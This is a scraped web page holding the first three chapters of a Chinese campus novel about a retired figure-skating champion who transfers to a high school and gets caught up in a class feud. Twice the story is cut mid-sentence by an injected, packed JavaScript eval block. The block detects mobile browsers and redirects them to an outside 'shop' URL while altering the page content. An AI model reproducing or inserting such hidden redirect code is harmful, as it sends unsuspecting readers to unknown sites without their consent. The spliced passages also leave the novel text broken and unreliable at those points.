《你就这么报答我》 1. 国王啊她 /珍珠利刃 /春焚嶙峋 /2024.9.1 转校生齐恩拄着拐杖。 这是她来榕城一高的第一天。 校门口简直人满为患。 或者说,从校门口到林荫道、到红底白线的塑胶操场、再到蓝砖白瓦的教学楼。 处处皆是人头撺动、摩肩接踵的大阵仗。 原因无他,齐恩实在是太有名了。 “齐恩,我的女神啊啊!给我签个名儿!” “恩神你的腿还好吗?你真要退役了吗?” 不时有学生从教学楼跑出来,硬生生赶出百米冲刺的效果,却不是因为到了饭点,而是因为那位被媒体称为国宝级花滑天才的转校生。 前排围观的同学们议论声尤其热烈。 “我的天呐,真是齐恩?前段时间就听说她要复课的消息,没想到是来咱们榕城一高了!” “我的妈!你们都别挡着了!我到现在连齐恩的一根头发丝儿都没拍到,你们让开呀!” “我的妈我的姥,我的褂子我的袄,就是喊我了个骚刚都没用。那可是齐恩!谁不想看?” “看就看呗,谁踩我的新鞋啊!一群男的大早上挤什么呀?上辈子没见过女的是咋的?” “你才没见过女的,你早上没刷牙?” 方婕往跟前一站:“说谁没刷牙呢?” 谌俞一听,这声儿很熟悉呀。 他低头,面前空无一人。低头往胸口一瞅,豆芽菜一般的学生会长正目光炯炯地瞪着他。 有句古话说得好,识时务者为俊杰。 谌俞不想被扣班级平时分,立刻卑躬屈膝:“我没刷牙,我嘴滂臭,对不起对不起……” 算你识相。”方婕叉腰嘀咕,“不过我是真不明白,一个运动员有啥好看的,大半个楼的人都把早读翘了,跑这儿来看什么齐恩?我还齐天呢!刚来就搞这么大阵仗,她也不害臊!” “齐恩是正儿八经的花滑世界冠军。” 一个眉目清秀的男生瞥她一眼。 搭话的是谌俞的好哥们,张其薪。谌俞乐呵呵朝他击掌,比了一个“兄弟我爱你”的手势,感谢对方不畏惧女流,关键时刻挺身而出。 方婕没说什么,悄悄地翻了个大白眼。 而那边,千人敬仰、万人空巷的退役运动员,齐恩,却是博爱地道:“大家别着急,签名合照一个一个来!千万不要造成人员踩踏呀!” 方婕不禁揶揄:“她倒摆上谱儿了,以为这是粉丝见面会吗?这里是学校,又不是她家!” “温主任不总说,咱们要把学校当家吗?” “谌俞!你今天就杠上我了,是不是?”方婕气得额前小碎发翘得老高,像极了天线宝宝。但她转念一想,“你跑得快,赶紧去政教处给温主任通报一下,这么多人无故旷课呢!” “包不配合的!”谌俞双手护在胸前,忠贞如入党,“我不可能做违背群众的事情!” 方婕利诱他:“我给你把上周扣分消了。” “拿这个考验干部?上个月的都给我消了!” “行行行,你快去吧!”方婕拿他没辙。 号称一高苏炳添的体育生大步流星离开。 尽职尽责的会长又看了一眼前头的张其薪,伸出恶魔之手攀在他肩上:“你,也别闲着。” 张其薪僵直了一瞬,很久没有波澜的心突然就漏掉一拍,他缓缓扭过头:“有何贵干?” “你去跟齐恩说一下,叫她别影响秩序了。” 方婕指点江山,环视着四周,又发现一个另类的存在,也是此时此刻唯一远离喧嚣的人—— 全校第一,市级三好,卢俜。 他戴着一副低调而朴素的厚框眼镜。 不声不响地绕过人群,图书馆去。 方婕难掩惊喜,小步上前叫住他:“卢俜。” 卢俜的脚步放慢半拍,隔着灰色帽檐看她。 她眨巴着眼睛:“你打算去图书馆自习啊?” 还没等卢俜点头,方婕立马拍着胸脯保证:“放心,查勤组不会记你,我都交待好了。” 卢俜低声道了句谢,从头到尾没有往热闹处看一眼,明显不在意那位高调的转校生。然而,为了寻找恰聊的话题,方婕还是快步跟上他: “听说了没,那个齐恩就是咱们年级新来的。嘿,你知道张其薪和谌俞怎么吹她的吗?天花乱坠的!你说她都拄个拐了,还给别人签名,还指挥起交通来了……怎么的,国王啊她?” 卢俜闻言,顺着她的视线望去,茫茫人海中,当然不能一眼就找到那个叫齐恩的转校生。 即使有,那也不是他该关心的。 “……我也不是很清楚。” 他结束了无用的对话。 方婕有意和他多聊两句,奈何卢俜就是对热闹避之不及,她悻悻然,只好回头去维持秩序。 “喂,那边的,排队就排队,打什么架呀?” 方婕一看,吓一大跳。 “怎么还有下跪的?” …… 齐恩这头众星捧月,水深火热。她拿起笔就开始一张张签,签到后来,也不记得谁是谁了,只感觉前仆后继的同学像福城面线一样繁殖。方婕看到有人跪下的同时,齐恩也看到了。 姗姗来迟的温主任也看到了。 一时间全乱套了。 齐恩赶紧把人扶起来。 “齐恩我爱你……你的腿还好吗?会不会留伤?”那女生哭哭啼啼,“我每年都把你写进我的作文素材里……我要给你生孩子……” 齐恩忙道:“爱我就好,你别给我生孩子。” 女生哭得又跪倒在她怀里,歪头欣赏她的脸。 “齐恩,你好美,你真的长得好爽啊……” 又不堪重负地晕了过去。 得,这是晕美。 最终,方婕和谌俞把这位叫袁礼米的女同学送到医务室,其余围观的也被遣散原籍——— 各回各班,各挨各批去了。 而齐恩则被单独拎到教务处。 温主任苦口婆心地教导:“齐恩啊,老师知道你是全国最顶尖的体育人才,在花滑领域内,更是没得说!但主任也有一句话不得不说啊,人呢,尤其是成功的人,往往贵在一个低调,你看你,刚来学校就摆起这么高的架子……” 齐恩听着温主任长篇大论,强忍哈欠。 您教导的有理,谨遵您的教诲,她心想,这老师咋这么多车轱辘话?受欢迎又不是她的错。 齐恩没怎么上过学,十二岁就开始打比赛。在省队和国青队里,氛围也不一样。她不知道,学生眼中这样的教导主任已经算好相与的了。国内中学教育的大环境就摆在那儿,遇上蛮横的老师,甚至不分青红皂白就怪罪到你头上。 从教务处出来,齐恩脑袋还是懵的。 今天发生的一切都太夸张离奇了。 她一手拎单拐,一手潦草地揉了把脸,不认得路,也不知道十七班怎么走,好在有同学叫住了她。对方说:“刘老师怕你不认路,让我来接你。我叫张其薪,你叫我张司长就好。” “张司长好。”齐恩虽疑惑,但也没有多问。 “谌俞说你被带走了,我就猜你在挨温书记的训。”张其薪悄声,“你不觉得他特别像那位……腔调也像,学生私底下都这么叫他。” 齐恩回味:“还真是,眼镜一戴就更像了,那股儒雅随和的范儿啊,不过他可真能念叨……哈哈哈哈,温书记,谁想的?这么有才。” 一边走一边聊,中途张其薪想搀扶着她,齐恩摆手拒绝了。到班门口时,张其薪说:“咱们班同学都很友善的,你肯定会和他们……” 聊的来。 话音未落,一响礼炮冲两人而来。 “欢迎新同学!欢迎欢迎,热烈欢迎!” 班主任刘彩带头整活,满脸红光。 其余同学倒是见怪不怪的,要么靠在过道聊天,要么在桌前接耳。齐恩和年轻的班主任面面相觑,老实讲,她还没遇见过这样的班级。 生怕融入不了新团体,复学之前,这位准高中生还恶补了一阵高中班级文化,大概就是: 事儿逼的班主任活泛的爹。 爱扯淡的班干部鬼话连篇。 外加中年老头儿霸占课间。 眼下显然不属于任何一种情况。 刘彩嘿嘿一笑:“那啥,我是班主任。” “你不说,我还以为你是学生。” 齐恩实话实说。 身后人哂笑:“零零后上岗,多包涵他吧。” 齐恩扭头一看,是个高挑的男生,皮肤小麦色,眉宇浓郁、五官高耸硬挺,很像新疆人。 谌俞抱着篮球,晃晃悠悠地走过来。有男生忍不住笑话他:“怎么,早八就去打球?” “上哪儿打?”女同学揶揄,“他是去温主任办公室偷回来的,这个月都收他多少球了?” “诶诶,怎么个事儿?”刘彩说,“我人还在这儿呢。谌俞,来来来,你给我解释解释。” “高玟你别揭我短了!”谌俞笑嘻嘻地一把揽住刘彩,“彩老师,说的和你没打球一样。” 只是,谌俞两脚尚且跨着门槛,人却顿住。 齐恩那张惊艳的脸猝不及防撞进他的眼帘。 齐恩很美,公认的事实。 媒体钦评的花滑美人,国民宠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410160|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的天才少女。 能上大荧幕的脸,轮廓流畅紧致,深邃的五官大刀阔斧,骨相近乎完美,眉目英气而耿洁。 谌俞下意识地揉了揉眼睛,他怔愣道: “开美颜了?怎么长的跟个手办似的?” “你抖海刷多了吧!那叫建模脸。”高玟毫不客气地贬他,“你会说话吗?麻溜边儿的!” 对皮囊的称赞是空气。 任何时候都能呼吸到。 齐恩也一贯的淡然处之。 刘彩介绍道:“新同学,你可以叫我刘老师,不过咱们年级有五个刘老师,两个教语文,两个教外语,我教政治。你也可以叫我彩老师,整个学校就我一个老师的名字里带彩字。” 原来彩老师是这么来的。齐恩颔首。 “彩老师。”她又问,“那我坐哪儿?” “你挑个空位就坐吧。”刘彩指了指后排几个空座位,“咱们班复读的同学不少,又是艺体班,学期末集训的时候好些同学都在画室里,十天半个月不来教室,所以没那么多讲究。” 这样的班级氛围很随和,齐恩点了点头。左顾而右盼,也有同学在看她。其实大部分人在她踏进班之后,都不约而同地停下了手里的事。 齐恩轻按着眉梢,挑不出个所以然。 “诶,你跟我坐呗。”谌俞壮起胆子邀请,“这么个校花搁跟前呢,还要啥自行车啊?” “什么?可以这么直接吗?”高玟不甘落后,“齐恩你跟我坐,我把学校卖了也要娶你!” “我擦!齐恩长得美,你们就不当人了是吧?干脆把齐恩放在讲台上,看一眼学一下!” 此话一出,哄堂大笑。 有人捶着桌子起哄。 齐恩也配合:“那我骑老师脖子上得了呗。” 这回班级里爆发出更为惊天动地的笑声。 刘彩也笑了,边笑边维持秩序: “你们别吵到别个班早读了。” 一个人的长相惊艳绝伦,也许是决定性因素,也许只是加分项。如果这个人恰好有幽默不庸的灵魂,那么,十有八九会受到他人的拥簇。 这个人又恰好是齐恩。 短短几分钟,齐恩以绝不让人讨厌的身份融入了十七班。她最终选择落座在靠后排的区域,谌俞的前座,张其薪的后座,袁礼米的旁边。 中间组是三人座,另一边是那个砸锅卖铁去学校,啊不是,卖学校养她的女同学,高玟。 高玟不高,一米五六,齐恩却有一米七二。 齐恩选择坐这儿的原因也很简单,她的身高。 位置靠后,起码不会挡到别的同学听课。 张其薪听闻她的顾虑:“你真想多了,听课的都挪到前边去抄PPT了,后排基本上……” 话说到一半,发现刘彩还在,齐恩也意会了。 刘彩:“你交入学申请的时候拿过教材吗?” “我忘了。”齐恩刚坐下就起身,“本来要去图书馆拿,被温主任叫走了,我现在去。” “你还拄着拐呢。”高旼把她摁下,“让谌俞去拿,反正这人一天到晚使不完的牛劲。” “挺好,拿完书让他再去操场犁两亩地。” “中世纪农奴都没有这么差的待遇!”谌俞这么抱怨着,还是一撑桌,麻溜儿的站起来。 齐恩不想麻烦别人,忙不迭拿起拐杖跟上他:“我也一起,顺便熟悉熟悉学校的构造。” 学校里的许多人都关注齐恩的一言一行,作为一个前国手,起调儿过高并不是一件好事。 人越被光环加身,越要谨言慎行,太耀眼的人往往更刺目,再微小的瑕疵也会被无限放大。 齐恩不是国王,是国手。 一个荣耀加身的国手,伴有出奇优越的皮囊。这是虚于表面的。除此之外,她的处事和言谈都非常周全,该张扬时张扬,该谨慎时谨慎。 张其薪面无表情地想。 也许是个值得深交的人。 另一边,齐恩和谌俞往操场走去。 明明才五月中旬,榕城却提前入了夏。 热浪阵阵打来,像把人在熔炉里翻炒。 谌俞脱外套给她罩上:“你们女生不是都怕晒黑?我们粤东就是晒,比别的地方还恐怖。” “不用,我不怕晒。”齐恩拢掌遮住眉弓,“就是眼睛不好使,冰面看久容易被刺到。” “哦,是,你们运动员嘛……” 谌俞不自觉地摸了摸鼻子。 拒绝异性的好意会使双方都变尴尬,为了缓解气氛,齐恩随手指了指路边的一块公告板。 “这么大一片,怎么全是一个人的名字?卢……卢什么?看了他一路了。” 2. 风云人物 “卢俜,念一声……这个人啊,呵呵。” “呵呵是什么意思?”齐恩问,“有过节?” 谌俞耐人寻味地:“反正不是和我有过节。” “那就是和咱们张司长有过节?”齐恩猜测。 “不好说,很复杂。”谌俞卖关子,倒不是不能说的事儿,不过他想钓钓转校生的好奇心。 谁知道齐恩压根不问了,径直推开图书馆大门,只留他一个拄着单拐的纤细修长的背影。 “……行了行了,就是去年运动会那事儿。”谌俞摊手,“反正咱班和一班关系不咋的。” “是和一班不咋地,还是和卢俜不咋地?” “都———不咋地。”谌俞延长了声儿,“不过,不得不承认,卢俜这个人特别会读。” “你看那面墙,都是他的名字,可以消消乐了都。校园贴吧的同学都管这面墙叫卢俜墙。” “嚯,这么高调啊?”齐恩讶然,一面墙居然以一个人的名字命名,多半含金量很高。 “是啊,从各学科竞赛到今年的市三好学生,再到咱们这次期中排名,你且看他的吧。” “德智体美劳全面发展。”齐恩评价,“不愧是省重点,我校教出来的人才就是不一样!” “德智体美劳。”谌俞抚掌大笑,“我的妈,你对咱们一高的评价相当高啊。” “是啊,不然我怎么来我校发展呢?”齐恩考他,“你知不知道我发展的是哪一项?” 谌俞笃定道:“那还用说么,体,是吧?” “不是,我发展的是美。”齐恩哈哈大笑。 居然还有人明着说自己漂亮。 偏偏她的脸蛋就是让人无法反驳。 “啊——是,是是是,您是美。” 谌俞又害羞地摸了摸鼻子。 明明自夸的人是齐恩,然而局促的人却是他。谌俞很清楚,一个姿色拔尖的人往往无需自谦于容貌。因为这本身就是令人羡慕的武器,即使再怎么自谦,也会被有心之人认定为虚伪。 “你确实长得挺牛逼的,混血有基因优势啊。话说,你这张脸不进演艺圈真是可惜了。” 没成想,齐恩忍着笑看他半晌,扑哧一声:“……我说的也是艺考美!我学表演的!” “啊?”谌俞才反应过来,是他想岔路了。他捧腹大笑,“哈哈,抱歉抱歉,我以为呢!” “你觉得我有必要那么自恋吗?”齐恩指了指自己的鼻子,“我又不是莫妮卡·贝鲁奇。” 谌俞止住笑才问:“我还以为你会继续走竞赛这条路呢,天赋挺好的啊,不打算复出吗?” “唉,老啦,滑不动啦。”齐恩豁达地道。“跟腱磨损太严重,估计撑不到冬奥会了。” 她看向自己的右脚:“教练组建议我趁早退役,还不耽误高考呢……喏,我就趁早了。” 她轻描淡写的语气,谌俞却愣了愣。 对于一位正值花期的花滑选手来说。 无法脚踩冰刃,就如同飞鸟被折断双翼。 “此处不留爷,艺考也是一个出处呀。你不是说我这张脸不进演艺圈可惜了吗?”齐恩心态还挺乐观,引经据典道,“伟大的教員说过,我是革命一块砖,哪里需要哪里搬;我是发展一枝花,哪里需要哪里插了……没毛病吧?” “是是,没毛病。”谌俞被她的豁达逗笑了。 “哦对了,刚刚说到哪了?那个卢俜,你们为什么讨厌他?他是当着谁的面臭得瑟了?” “你不是对这人不感兴趣吗?”谌俞含笑瞧她一眼,瞥到她俯身去抱书本,连忙抢了过来。 “我能自己搬书不?”齐恩一手空空,非常不自在。谌俞把书护得紧紧的,蹙眉说不能。 让一个女生抱书,还让一个行动不便的女生抱书,这把他一个爷们儿的颜面置于何地? 人也不能干等着吃白饭。齐恩指着操场边的小卖部自告奋勇:“我去买水吧,你喝什么?” “带汽儿的就行。”这天确实热,书也确实重。谌俞抹了把汗,在林荫下的长板凳等她。 齐恩走进小卖部,抻着拐杖打开冰柜,拿了一瓶可口可乐,毕竟百事的只适合洗马桶。 她走到另一排货架,挑了标价最高的纯净水。 她对直饮水要求很高,半点涩口都不行。 齐恩去柜台结账,收银员说只能刷校园卡。 齐恩没有校园卡:“扫码不行吗?” 艺体生准许带手机的。 得到了否认的回答,齐恩原地踌躇来一会儿,正巧余光瞥见店内一抹灰色身影。准确来说,只有闹到是灰色的。这名男同学戴着兜帽。 “同学。”她上前,客气地询问,“打扰了,方便借一下校园卡吗?花多少我转给你。” 对方很高,即使齐恩不矮,也只能仰看他。 他没看她也没说话,只是拿出一张蓝色校卡。 修长的手指下移,卡片在磁感器上一碰即撤,扣款二十。齐恩还来不及反应,他转身就走。 “诶,同学,先别走。” 她下意识伸手拦他。 还没有碰到身体,他已经应激似的避开,绷直了身体。齐恩心想,这人真不适应肢体接触。 从没这么被人避之不及。他很腼腆,可能。 齐恩讷讷收手,又递出条码:“扫我一下。” “……不用。”他说话的时候终于正脸对她,然而,齐恩只看清了他坠重帽檐压下的头发。 醇厚巧克力色的,发尾打着卷边儿。小羊卷。 “话说,你是我粉丝啊?”齐恩很有亲和力地笑了笑,“粉丝就更不兴请客了,我请你还差不多呢。谢谢你替我解围,你喝什么……” 话音未落,兜帽哥早就跑没影儿了。 齐恩收了声,盯着那人离开的方向。 “……这么害羞的粉丝还是头一回见。” . 齐恩在树荫底下找到谌俞,把冰可乐递给他:“辛苦了,喝吧。这是我一个粉丝请的。” 谌俞接过,不满地看着瓶身问:“可口可乐?怎么不是百事?咱粉丝的品味也不行啊。” “有的喝还挑?今天喝百事的人,明天什么事儿都做得出来。百事是马尿,可口是国窖。” 谌俞这才反应过来:“你买的啊?抱歉。” “是我挑的,但是粉丝买单。我没校园卡。” “小事,中午带你去食堂办一张。” 齐恩和谌俞就着林荫逛校园,聊得谁也没看时间,回到班里的时候,下课铃刚好打响。 刘彩出去,两人进来。呵,撞了个正着。 “你俩倒会卡点,不如等大课间完了回来。” “老师,我俩去拿教材。”谌俞有正当理由。 “什么教材拿两节课?”刘彩好整以暇地问。 谌俞死皮赖脸,凑上去给他卖萌: “亚比~纠纠纠~” “行了,小兔崽子,这一天天的。”刘彩挥手把学生的脸隔开,他最擅长的就是高高拿起、轻轻放下,“别耍宝,先去操场上大课间。” 有人笑嘻嘻提醒:“彩老师,这周高三模考,咱们高一高二是没有大课间的啦。” 刘彩一拍脑门道:“哟!谢谢你啊,好心人。这早八给我上的,脑袋都上糊涂了。” 班主任要回去补觉,还正大光明的: “你们没事别去办公室烦我啊。” 有人回他:“跟谁稀罕搭理你似的。” 才睡醒的后排同学窸窸窣窣地笑。 齐恩把教材放回座位上,虽然动作不大,旁边的高玟还是抬起睡得迷糊的头:“回来了?” “嗯。”齐恩把拐杖靠着墙壁,从她身后绕过,扶着桌沿小心坐下,“我吵醒你了?” “没有,我的生物钟就是这样,上课睡觉下课醒。”高玟揉了揉眼,“要不要去买水呀?” “真不巧,我们刚刚买完。”前座的谌俞闻言回过头来,炫耀着手里的冰镇可乐。 “你不是只喝那涮马桶的百事吗?” “齐恩选的。”谌俞干脆转过身坐在椅子上和两个女生讲话,“话说你俩怎么回事啊?一个两个的,都说百事是马尿,可口是国窖。” “有品位啊!”高玟对齐恩抛了个媚眼。 “正经人谁喝百事啊?”齐恩边给教材扉页写名字边说。两人对视一眼,不约而同的: “下贱———!” “话说,咱们的另一个同桌呢?”齐恩问,“怎么不见她人?她不会还在医务室吧?” “袁礼米?”高玟拍他,“谌俞,问你呢,不是你和学生会那位大小姐送她去医务室的?” “不在医务室躺着吗?我就回来陪齐恩了。” “陪?人家用你陪吗?”谌俞的同桌插一句。 “就是!”另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410161|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个男生勾住谌俞后颈,“你这个狗,真是见色忘同班同学,袁礼米平时可没少给你抄作业!你就把她一个人放那儿。” “不然我现在过去给她磕两个?撒手撒手,你要勒死我了!齐恩不也是咱同班同学吗?” 齐恩过意不去,再次站起身去拿拐杖:“袁同学好歹因为我才晕倒的,我去看一看她。” “我陪你我陪你。”高玟摁住刚要开口的谌俞,“小样儿,这回总该我陪齐恩了吧?” “得,你们这搞得,好像齐恩是个香饽饽。” “把好像去掉。”齐恩臭屁地勾了勾唇角。 医务室就在教务处对面。这又是老地方了,对齐恩来说——她刚从温书记的会议解放出来。 高玟一路上像打了鸡血,紧紧挽着齐恩另一条能活动的手臂,逢人就疯狂打招呼、使眼色。 不少同学认出她旁边的正是今日的风云人物,窃窃私语的有,光明正大搭话的也有。 齐恩一路上给人签了四五趟,合照什么的倒是婉拒了。温主任说过,让她在学校里少摆架子,而且再这么耗下去都要打上课铃了。 到了校医务室,一瞧躺在床上的女同学。袁礼米正蒙着脑袋睡觉呢,口水都流到枕头上了。 两人和值班老师面面相觑,这是明着逃课吧! 齐恩率先问:“她还好吧?没磕着碰着吧?” “她?没事,就是太激动了。”值班老师说,“血压一下子蹿上来,是个人都受不了。” 没事就好,齐恩颔首。老师招呼她过去:“哦对了,我儿子挺喜欢你,让我要你的签名。” 她递出一张照片,照片上恣意张扬的少女身穿国家队服,手里举着金牌,朝镜头展露笑容。 齐恩接过,没忍住,轻轻叹了一声。她无意识放缓了声调,“这都是多早之前的照片了。” “你还真别说,他可迷你了,还在省队那会儿就粉上了。”老师念叨着,“我记得那时候他都高三了,还天天嚷着要学滑冰。家里老人都吓死了,他那肢体协调度,连旱冰都不会,还花样滑冰呢,有个磕磕碰碰还高考啥呀……” 齐恩珍重地抚摸那张照片。 很老旧了,指腹能摸到胶片上的粗糙。 她俯下身,拿起别在衣领的签字笔。 一笔一画,真挚地写下自己的名字。 “你宣布退役那会儿,他哭了三天。”老师当谈资说起,“三天啊,不吃不喝也不出房间,家里人都笑话他,只是不滑了,又不是……” 她意识到出言不妥,很快停了话。这位前国手却无比爽朗地咧嘴,甚至到了夸张的地步。 “是啊,有什么好哭的?只是不滑了而已。” 高玟张了嘴,没能说出话。 医务室的沉默没有持续太久。 一阵突兀的喧哗声打破了它。 齐恩和高玟从门里探出头去看,惊呆了。 张其薪和另一个男生打斗到一块儿。 尘土飞扬,衣角鼓翩。 张其薪跪在那个寸头男生的身上,面色狰狞,眼眶充血的红。他攒起拳,又狠砸了好几下。 那人不甘示弱,翻折上身就要反击。两人都挂了彩,规矩的校服被挤皱成大陆的生长边界。 谁也不知道发生了什么。 战况非常激烈。 值班的老师还没反应过来,高玟先冲上去拦人了:“张其薪!别打了,你冷静点儿,这是在办公楼啊!你非要和周第较什么劲儿啊!” “卢俜,市优等生的奖状这周五就能下来了。下周的国旗下讲话,还是安排你和方婕……” 正从楼梯拐角处上来的温主任看到这番情形,一瞬间止住了原本要说的话。 走廊上,拄拐的转校生和值班老师站在一侧,女同学伸手制止,两个斗殴的人仍不管不顾。 尘埃在空气里跳跃。 温主任脸色骤变,而我们的市优等生卢俜缓步在他身后。身型颀长清瘦的少年,驻足在逼仄楼道的溢光处,背脊挡住绚而散射的光线。 小羊毛卷儿,散淡的褐,看起来比旁人温顺,也遮住浓密眉下那两朵澄净如湖泊的眼镜片。 镜头放慢了。齐恩漆黑的眼睫如重剑般下垂。 卢俜以泰山崩于前而不改色的神情同她对视。 几乎是同一时间,卢俜立刻转身离开。 并不在乎背后有无探究的视线朝他投掷。 3. 麻烦的人 张其薪和周第不是头一回打架了。 然而,这却是头一回打到主任办公室里。 “说说吧,怎么回事儿?”温主任大马金刀一坐。其余同学在他面前站成一排,面面相觑。 只有齐恩是坐着的。 这就要说回五分钟之前。 教导主任都站在跟前了,周第和张其薪依旧打得难舍难分。看着是张其薪压在他身上,其实也没落到多少好处。周第在底下踢着腿挣扎,鞋跟猝然踹到了一旁看戏的齐恩……的拐杖。 他自己倒是先惨叫一声,捂住剧疼的脚趾头。 拐杖猝然脱手,摔了个屁股蹲儿的却是齐恩。 人仰马翻,齐恩在众目睽睽下跌倒在地。 这场斗殴最终伴随着她的痛呼戛然而止。 齐恩被搀扶到主任办公室的沙发坐下。 巧的是,这也不是头一回坐主任的沙发。 就在早自习前,温书记还大肆教育过她一顿,看她拄着拐挨训蛮可怜,也是让她坐下听训。 此刻,办公室里血气方刚的年轻人充盈。 分别是一班和十七班两派人马。 十七班班长张其薪犯错,刘彩睡得眼皮昏沉,接到消息来的很快。现在高玟在和他解释。 齐恩一个人坐着沙发很不自在,左动右动的。 尾椎骨的疼痛已经缓解不少,本来搞运动的人就抗摔,齐恩还是搞冰上运动的。只是,眼下两军交战的情况和她这转校生并无多大干系。 张其薪很狼狈,眼角渗血,金边的眼镜腿儿断了半截,掩着自己的伤处,他说:“刘老师,是一班周第先挑衅的,他说我们班下梁歪。” 下梁歪,上梁不正才下梁歪。 周第明显刺向十七班的班主任。 周第一个人站在对面,眼神阴鸷,对自己说过的话不加反驳,“所以你就可以动手打人?” 温主任向来不偏袒谁:“周第,你也有问题。都是同学,为什么平白说人家班的不对?” “他们班本来就……”周第收了声,“他们不也说我们了?之前那些旧帐难道要翻出来?” “我们明面上说了吗?”高玟忍不住道,“你们一班就是爱玩阴的,这点小事也告老师。” 刘彩眼看越吵越烈,忙摆出班主任的架子:“行了,高玟,你别太激动了。还有张其薪,这样不理智、斤斤计较,还当什么班长?这件事是你先动的手,就是不对,给周第道歉。” 张其薪不忿,但没怎么倔着,咬着牙关说:“……对不起,周第,我不该和你动手。” “行了,你们回去各写一份检讨交给我。” 温主任貌似有缓和的意思。 年轻的班主任刘彩也跟着松了一口气。 这时,一道高跟鞋踏地板的声响由远及近。 “慢着,刘老师,这事还没那么好解决。” 正装肃然的中年女人,眉眼细挑,人中深陷,法令纹深瘪。看这架势,估计就是高二一班的班主任兼年级数学组的组长——柯老师。 “咱们年级的老师里,就属一班的班主任柯俐最凶最傻缺。”谌俞先前聊天时略微提及。 齐恩眼下才见到柯老师的真容。 柯俐将手中捲起的试卷舒展,推了推鼻梁上的红细框眼镜:“是他们班张其薪先动的手?” 刘彩赶紧解释:“同学间小打小闹而已,值班的陈老师也看着呢,没闹出多大的动静。” “那要闹出多大的动静才算动静?”柯俐道,“主任,现在是部里领导莅临的关头,刚才,你们在上面打,李部就在楼下视察。” 柯俐说什么话,从来不避讳学生,而且教风趋于狼性。温主任对她这一点很不满意。但她又是个办事非常利落精明的,上的了台面。 “如果,我是说如果,人家上来一看,我们学校就这样的校风,回去怎么和上面反馈?” 这事说小可以很小,说大了,让张其薪背个处分也不为过,柯俐明显不打算善罢甘休。 “我看先送到政教处,咱们年级组长开个会决定一下警告处分还是严重处分。” “柯老师,这么个小事还要处分,也太大费周章了吧!”刘彩急得都要跳起来了。张其薪是不能随意背处分的,这一点他比谁都要清楚。 柯俐不依不饶:“这是小事?刘老师,那我希望你们班以后天天都出现这种小事。我们一班可是头一次出现打架斗殴,必须严肃处理!” 两位班主任针锋相对,刘彩占了下风。一旁的十七班学生里,高玟正在询问事情的经过。 张其薪似难言,以三个人能听见的声音透了底儿:“周第说了很多人,我实在没忍住。” “再怎么没忍住也不能在教师楼里开打啊!”高玟瞪他,“你找个没人的地方约……” 这是在政教处,高玟敢说,张其薪都不敢听,他连忙打断了她:“之后再说。反正他说我是偷分贼,说谌俞是外援逼,说你是超雄矮女,又说彩老师,最后……还说了……齐恩……” 他复杂地看了一眼齐恩。 “他说我什么?”齐恩问。 “说你是个半残废……” 齐恩闻言,无畏地挑了挑眉尾,不置可否。 高玟却气急:“他,他怎么能这么说?!” 齐恩又问:“他前面说的那些,都是咱们班和一班从前的过节?他怎么突然这样挑衅?” “都是高一高二发生的事……”张其薪摇头,“我不知道,可能互相看不顺眼挺久了。” 柯俐还在不依不饶:“这事闹的太大了,还是在办公楼打,这幸好是温主任你看到了,要是别的人呢?那还让我们一班的脸面往哪搁?” 高玟不敢跟老师大声叫板,只敢小声嘀咕:“是是是,全年级就你们一班最要脸了,我们二班到十八班全部都是不要脸的货色……” 简单地了解完事件的经过,齐恩顺着张其薪惴惴不安的视线,又看向对面一班的学生们。 当然,还有那个可爱的巧克力色羊毛卷。 卢俜,一班班长,三好学生。 原来他刚才是去搬救兵了。 话说,他看向她的眼神可真冷漠。 一点也看不出在小卖部替她解围。 柯俐有深意地看一眼周第,周第立马会过意来,撂衣,露出手臂上一道淤青:“主任,这是被他打的……我基本上没怎么还手。” “放屁的你没怎么还手!”高玟顿时火气上涌,“你看看张其薪的脸上,还有腿上,你把他打成那样!就你一个人会卖惨是吗?” “安静,这位同学。”柯俐见效果达到了,才开口制止,“刘彩,你就是这样教你班的学生讲脏话的吗?还有,老师说话你插什么嘴?” 温主任:“都消停一下,闲杂人等都出去,吵吵嚷嚷的,这里是政教处,又不是菜市场。” 刘彩头疼,脑袋嗡嗡的,他扶起额头: “……高玟,你先出去,还有齐恩。” 高玟不想走,别别扭扭伫在一边。 齐恩拉了拉她,又伸手去拿拐杖。 受伤的右脚触及地面时,她忽然想到些什么。 齐恩垂眸,漆黑笔直的睫毛盖住瞳孔。 她撑着拐杖站起,却是直直走向张其薪。 “我觉得班长不像会突然动手打人的人。” 她转而问周第,“你说了些什么?” 也许美丽本身就是锋芒,明明是同龄人,当齐恩望向他的时候,周第不可抑制地心虚起来。 柯俐挡在自家学生面前:“周第说什么重要吗?重要的是你们班的张其薪先动了手。” 张其薪沉默。不可否认,这是事实。 齐恩不说无用的话,她侧过头对刘彩建议:“刘老师,我觉得还是查一下监控比较好。” “是,温主任。”刘彩赞成。“两边口径不统一,公说公有理,婆说婆有理,也很难知道实情。不是有收声监控吗?看一下怎么回事。” 柯俐本来没有异议,但看周第神色局促不安,她也感到几分不对劲,暗暗蹙起凌厉的眉。 “周第,你对张其薪说了什么?” 周第眼神闪躲:“我……没说什么……” 温主任怀疑的视线也投过来。 这时,静观局面的卢俜悄然走到周第身旁,轻声问了两句。周第没说什么,只是勉强点头。 他转而对班主任柯俐说了什么,声音很低伏,其余人面面相觑,听不清他们谈论的内容。 只是,突然有人打破了僵局。 齐恩光明正大地走了过 